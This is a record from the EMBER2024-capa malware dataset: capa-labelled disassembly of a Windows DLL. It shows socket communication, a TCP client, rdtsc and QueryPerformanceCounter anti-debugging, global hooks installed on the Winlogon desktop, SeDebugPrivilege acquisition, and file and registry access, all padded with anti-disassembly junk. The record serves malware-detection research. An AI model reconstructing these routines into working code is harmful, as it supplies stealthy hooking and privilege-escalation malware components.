joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100040e0
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
invalid
push ebp
mov ebp, esp
sub esp, 0x124
push ebx
push esi
push edi
mov dword [ebp - 0x124], ecx
push eax
xor eax, eax
je 0x100040fe
jae 0x10004096
mov eax, dword [0x8458b58]
pop eax
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [ebp - 0x118], 0
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x108], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x104]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x110], 0
xor edx, edx
mov dword [ebp - 0x10c], edx
mov dword [ebp - 0x110], 0x2dc6c0
mov dword [ebp - 0x10c], 0
mov eax, dword [ebp - 0x118]
cmp eax, dword [ebp + 0xc]
jae 0x10004297
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x120], 0
jmp 0x10004195
mov ecx, dword [ebp - 0x120]
add ecx, 1
mov dword [ebp - 0x120], ecx
mov edx, dword [ebp - 0x120]
cmp edx, dword [ebp - 0x108]
jae 0x100041bf
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x124]
mov edx, dword [ebp + eax*4 - 0x104]
cmp edx, dword [ecx + 4]
jne 0x100041bd
jmp 0x100041bf
jmp 0x10004186
mov eax, dword [ebp - 0x120]
cmp eax, dword [ebp - 0x108]
jne 0x100041fb
cmp dword [ebp - 0x108], 0x40
jae 0x100041fb
mov ecx, dword [ebp - 0x120]
mov edx, dword [ebp - 0x124]
mov eax, dword [edx + 4]
mov dword [ebp + ecx*4 - 0x104], eax
mov ecx, dword [ebp - 0x108]
add ecx, 1
mov dword [ebp - 0x108], ecx
xor edx, edx
test edx, edx
jne 0x1000417a
lea eax, [ebp - 0x110]
push eax
push 0
lea ecx, [ebp - 0x108]
push ecx
push 0
mov edx, dword [ebp - 0x124]
mov eax, dword [edx + 4]
add eax, 1
push eax
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jg 0x10004232
xor eax, eax
jmp 0x1000429c
push 0
mov ecx, dword [ebp - 0x11c]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
jg 0x10004262
xor eax, eax
jmp 0x1000429c
mov edx, dword [ebp - 0x118]
add edx, dword [ebp - 0x114]
mov dword [ebp - 0x118], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x114]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x11c]
sub ecx, dword [ebp - 0x114]
mov dword [ebp - 0x11c], ecx
jmp 0x10004161
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x100042b0
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
invalid
push ebp
mov ebp, esp
sub esp, 0x124
push ebx
push esi
push edi
mov dword [ebp - 0x124], ecx
push eax
xor eax, eax
je 0x100042ce
jae 0x10004266
mov eax, dword [0x8458b58]
pop eax
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [ebp - 0x118], 0
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x108], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x104]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x110], 0
xor edx, edx
mov dword [ebp - 0x10c], edx
mov dword [ebp - 0x110], 0x2dc6c0
mov dword [ebp - 0x10c], 0
mov eax, dword [ebp - 0x118]
cmp eax, dword [ebp + 0xc]
jae 0x10004467
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x120], 0
jmp 0x10004365
mov ecx, dword [ebp - 0x120]
add ecx, 1
mov dword [ebp - 0x120], ecx
mov edx, dword [ebp - 0x120]
cmp edx, dword [ebp - 0x108]
jae 0x1000438f
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x124]
mov edx, dword [ebp + eax*4 - 0x104]
cmp edx, dword [ecx + 4]
jne 0x1000438d
jmp 0x1000438f
jmp 0x10004356
mov eax, dword [ebp - 0x120]
cmp eax, dword [ebp - 0x108]
jne 0x100043cb
cmp dword [ebp - 0x108], 0x40
jae 0x100043cb
mov ecx, dword [ebp - 0x120]
mov edx, dword [ebp - 0x124]
mov eax, dword [edx + 4]
mov dword [ebp + ecx*4 - 0x104], eax
mov ecx, dword [ebp - 0x108]
add ecx, 1
mov dword [ebp - 0x108], ecx
xor edx, edx
test edx, edx
jne 0x1000434a
lea eax, [ebp - 0x110]
push eax
push 0
push 0
lea ecx, [ebp - 0x108]
push ecx
mov edx, dword [ebp - 0x124]
mov eax, dword [edx + 4]
add eax, 1
push eax
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jg 0x10004402
xor eax, eax
jmp 0x1000446c
push 0
mov ecx, dword [ebp - 0x11c]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
jg 0x10004432
xor eax, eax
mov edx, dword [ebp - 0x118]
add edx, dword [ebp - 0x114]
mov dword [ebp - 0x118], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x114]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x11c]
sub ecx, dword [ebp - 0x114]
mov dword [ebp - 0x11c], ecx
jmp 0x10004331
mov eax, 1
Function at 0x10005cd0
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
jl 0x10005c7e
invalid
invalid
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push eax
xor eax, eax
je 0x10005ce5
jae 0x10005c7d
mov eax, dword [0xf845c758]
add byte [esi + 5], bl
pop eax
mov dword [ebp - 8], 0x5265c00
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov word [ebp - 0x18], 2
mov cx, word [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x16], ax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x10005d2c
xor eax, eax
jmp 0x10005dce
push 0x10
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x10005d4f
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10005dce
push 4
lea edx, [ebp - 8]
push edx
push 0x1005
push 0xffff
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x10005d7c
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10005dce
push 4
lea edx, [ebp - 8]
push edx
push 0x1006
push 0xffff
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
Function at 0x10006140
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
invalid
push ebp
mov ebp, esp
sub esp, 0x13c
push ebx
push esi
push edi
push eax
xor eax, eax
je 0x10006158
jae 0x100060f0
mov eax, dword [0x45c76658]
lock add byte [eax], al
pop eax
mov word [ebp - 0x10], 0
xor eax, eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov dword [ebp - 6], eax
mov word [ebp - 2], ax
mov dword [ebp - 0x18], 0x10
mov dword [ebp - 0x128], 0
mov byte [ebp - 0x120], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x11f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x1000624e
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
jne 0x100061e6
xor eax, eax
jmp 0x10006335
mov word [ebp - 0x138], 0
xor edx, edx
mov dword [ebp - 0x136], edx
mov dword [ebp - 0x132], edx
mov dword [ebp - 0x12e], edx
mov word [ebp - 0x12a], dx
mov eax, dword [ebp - 0x13c]
movsx ecx, word [eax + 0xa]
mov edx, dword [ebp - 0x13c]
mov eax, dword [edx + 0xc]
mov esi, dword [eax]
lea edi, [ebp - 0x134]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x134]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0xc], eax
mov ax, word [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
mov word [ebp - 0x10], 2
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0xffffffff
jne 0x10006295
xor eax, eax
jmp 0x10006335
mov ecx, dword [ebp - 0x18]
push ecx
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x128]
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x100062c0
mov ecx, dword [ebp - 0x128]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10006335
mov dword [ebp - 0x124], 1
push 4
lea edx, [ebp - 0x124]
push edx
push 1
push 6
mov eax, dword [ebp - 0x128]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x100062f9
mov ecx, dword [ebp - 0x128]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10006335
mov dword [ebp - 0x14], 1
push 4
lea edx, [ebp - 0x14]
push edx
push 8
push 0xffff
mov eax, dword [ebp - 0x128]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x1000632f
mov ecx, dword [ebp - 0x128]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10006335
mov eax, dword [ebp - 0x128]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006430
Capabilities:
Check for time delay via queryperformancecounter
Execute anti-debugging instructions

Disassembly:
or al, 0xc7
test dword [eax - 1], ebp
invalid
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
mov dword [ebp - 0x2c], ecx
push eax
xor eax, eax
je 0x10006448
jae 0x100063e0
mov eax, dword [0x6c15ff58]
and dword [ecx], eax
adc byte [eax - 1], dl
adc eax, sym.imp.KERNEL32.dll_GetPriorityClass
pop eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [ebp - 0x20], eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
push 0x10
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x28]
push eax
call fcn.10011350
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x24]
adc edx, dword [ebp - 0xc]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], edx
rdtsc
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x24]
jg 0x100064ed
jl 0x100064e1
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x28]
jae 0x100064ed
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
jmp 0x100064cf
rdtsc
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 8]
mov eax, dword [ebp - 0x18]
sbb eax, dword [ebp - 4]
push 0
push 0xf424
push eax
push edx
call fcn.10011350
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10009040
Capabilities:
Create thread
Set global application hook

Disassembly:
push edx
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
cmp dword [0x10015c14], 0
je 0x10009009
mov eax, dword [0x10015c14]
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov ecx, dword [0x100146d8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x100146dc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ebx
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
je 0x10009055
jae 0x10008fed
mov eax, dword [0x6a006a58]
add byte [edx], ch
pop eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x100146d8], eax
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x100146dc], eax
push 0
push 0
push 0x10009650
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov dword [ebp - 8], eax
push 0x2000000
push 0
push 0
push str.Default
call dword [sym.imp.USER32.dll_OpenDesktopA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x100090c3
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
cmp dword [0x10015c10], 0
jne 0x100090e7
push 0
mov ecx, dword [0x10014894]
push ecx
push 0x10008cf0
push 4
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x10015c10], eax
cmp dword [0x10015c0c], 0
jne 0x1000910b
push 0
mov edx, dword [0x10014894]
push edx
push 0x10008c10
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x10015c0c], eax
push 0x2000000
push 0
push 0
push str.Winlogon
call dword [sym.imp.USER32.dll_OpenDesktopA]
Function at 0x10009170
Capabilities:
Set global application hook
Write file on windows

Disassembly:
add dword [eax], edx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10009132
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
cmp dword [0x10015c14], 0
jne 0x10009156
push 0
mov ecx, dword [0x10014894]
push ecx
push 0x10008f00
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x10015c14], eax
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.USER32.dll_SetThreadDesktop]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
je 0x10009185
jae 0x1000911d
mov eax, dword [0x68006a58]
add byte [eax], 0
add byte [edx + 4], ch
pop eax
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x100091af
xor eax, eax
jmp 0x100091f7
push 2
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 4], 0
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10009fd0
Capabilities:
Read file on windows

Disassembly:
and byte [ecx], al
adc bh, al
inc ebp
cld
add byte [eax], al
add byte [eax], al
push 0
lea ecx, [ebp - 4]
push ecx
push 0x1044
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1044
mov edx, dword [ebp + 8]
push edx
call fcn.10009dd0
add esp, 8
mov eax, 1
push ebp
mov ebp, esp
sub esp, 0x314
push ebx
push esi
push edi
push eax
xor eax, eax
je 0x10009fe8
jae 0x10009f80
mov eax, dword [0xec85c658]
cld
invalid
pop eax
mov byte [ebp - 0x314], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x313]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x210], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x20f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x108], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 0xc]
push eax
push 0x100144e8
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x314]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jne 0x1000a082
xor eax, eax
jmp fcn.1000a101
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10c]
add ecx, eax
mov dword [ebp - 0x10c], ecx
push 0x3b
mov edx, dword [ebp - 0x10c]
push edx
call dword [sym.imp.SHLWAPI.dll_StrChrA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000a0cc
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
Function at 0x1000a110
Capabilities:
Query or enumerate registry value

Disassembly:
add dword [eax], edx
lea ecx, [ebp + eax - 0x314]
mov dword [ebp - 4], ecx
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0x10c]
mov esi, dword [ebp - 0x10c]
mov edi, dword [ebp + 0x10]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0x10c]
mov ecx, dword [ebp + 0x10]
mov byte [ecx + eax], 0
mov eax, 1
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
push eax
xor eax, eax
je 0x1000a128
jae 0x1000a0c0
mov eax, dword [0xfc45c758]
add byte [eax], al
add byte [eax], al
pop eax
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000a159
xor eax, eax
jmp 0x1000a1ec
mov byte [ebp - 0x10c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x110], 0x104
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x10c]
push ecx
push 0
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000a1b3
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x1000a1ec
mov ecx, dword [ebp - 0x110]
lea esi, [ebp - 0x10c]
mov edi, dword [ebp + 0x14]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000a1e7
xor eax, eax
jmp 0x1000a1ec
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000a290
Capabilities:
Acquire debug privileges

Disassembly:
inc eax
add byte [eax], al
add byte [ebx], dh
ror byte [ebp - 0x10643], 0xff
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push eax
xor eax, eax
je 0x1000a2a5
jae 0x1000a23d
mov eax, dword [0xec458d58]
pop eax
lea eax, [ebp - 0x14]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]

Function at 0x1000a300
Capabilities:
Acquire debug privileges

Disassembly:
adc eax, sym.imp.KERNEL32.dll_GetCurrentProcess
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea ecx, [ebp - 0xc]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov dword [ebp - 0x10], 1
mov dword [ebp - 4], 2
push 0
push 0
push 0
lea edx, [ebp - 0x10]
push edx
push 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
je 0x1000a315
jae 0x1000a2ad
mov eax, dword [0xfc45c758]
add byte [eax], al
add byte [eax], al
pop eax
mov dword [ebp - 4], 0
jmp 0x1000a328
Function at 0x1000a3b0
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0x10]
jge 0x1000a3a6
mov edx, dword [ebp + 8]
add edx, dword [ebp - 4]
xor eax, eax
mov al, byte [edx]
sar eax, 4
and eax, 0xf
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 9
jle 0x1000a35a
mov ecx, dword [ebp - 8]
add ecx, 0x37
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
mov byte [eax + edx*2], cl
jmp 0x1000a369
mov ecx, dword [ebp - 8]
add ecx, 0x30
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
mov byte [eax + edx*2], cl
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
xor edx, edx
mov dl, byte [ecx]
and edx, 0xf
mov dword [ebp - 8], edx
cmp dword [ebp - 8], 9
jle 0x1000a391
mov eax, dword [ebp - 8]
add eax, 0x37
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
mov byte [edx + ecx*2 + 1], al
jmp 0x1000a3a1
mov eax, dword [ebp - 8]
add eax, 0x30
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
mov byte [edx + ecx*2 + 1], al
jmp 0x1000a31f
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
je 0x1000a3c5
jae 0x1000a35d
mov eax, dword [0x68006a58]
add byte [eax], 0
add byte [edx + 3], ch
pop eax
push 0
push 0x80
push 3
push 0
push 1
push bind
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x1000a3ef
xor eax, eax
jmp 0x1000a41d
mov dword [ebp - 4], 0
push 0
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000a430
Capabilities:
Delete file
Write file on windows

Disassembly:
adc eax, sym.imp.KERNEL32.dll_CreateFileA
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
je 0x1000a445
jae 0x1000a3dd
mov eax, dword [0x8458b58]
pop eax
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x1000a479
xor eax, eax
jmp 0x1000a4a7
mov dword [ebp - 4], 0
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret